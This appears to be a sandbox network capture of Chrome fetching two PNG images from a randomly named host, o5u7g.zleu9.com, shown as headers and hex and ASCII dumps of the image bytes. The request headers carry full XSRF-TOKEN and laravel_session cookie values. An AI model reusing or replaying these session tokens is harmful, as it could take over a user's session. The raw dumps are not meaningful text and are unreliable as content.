laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghNa4wLQP2OPEa9yshBcpr4efS5s5gdiDgklu0B4xFFqbm5P1vQiCliLqsoef210" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9cjTSJm0vbje9ixsoah7RCNKlp0q0daKsY4URvKlVQEtnOnFXJH2%2BFhDNBdNn4RhElLu1pHu%2Fh7sAjiyr2N%2FIddKzFP2IWpCp8SMFy2WbvS1dQbjVf1XpOe4yuxLgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff305f6f7c8f-LAX
2024-04-24 06:22:05 UTC	711	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 24 e2 Data Ascii: $I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$$
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd 4d 07 Data Ascii: gPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:HM
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 eb bb Data Ascii: 9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba cd 59 Data Ascii: (Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\Y
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 37 11 7f 7e 75 a2 26 e3 e4 Data Ascii: 3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC7~u&
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 b5 bd 9d fa 3e ed 3b 07 f8 Data Ascii: $I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF>;
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 d1 ee 72 21 9d f6 Data Ascii: R?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8r!
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 ad dc ba a4 e6 82 Data Ascii: ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 65 72 1b f0 66 e0 Data Ascii: -%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVyerf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49801	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1488	OUT	GET /opKtNEkOO9Dn5Z3ieoQTLGfaxj0rEuZ6stDscP1Mf9W3N2jRIwOg7b36f6kef240 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	668	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="opKtNEkOO9Dn5Z3ieoQTLGfaxj0rEuZ6stDscP1Mf9W3N2jRIwOg7b36f6kef240" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=So1U%2FDS4olkbi5wLOCeVY8McC2rF2c2g%2F5%2B9YbP7%2BUTE%2BOz09Hcs%2BtdUTSWbSsDuTRSJKo9s%2BBar9axQjQfNSUFY7iOJcLr%2Ft6oS2dk9j5IYH89rP74vL5CfQWPmhQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff305df92f03-LAX
2024-04-24 06:22:05 UTC	701	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 90 a5 65 e6 Data Ascii: >E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7He
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 8c 1a 08 30 Data Ascii: ,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf0
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d b2 b9 e7 2b Data Ascii: Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=+
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f b1 0a da 86 Data Ascii: #Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 bd 7a f4 d0 Data Ascii: ^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9z
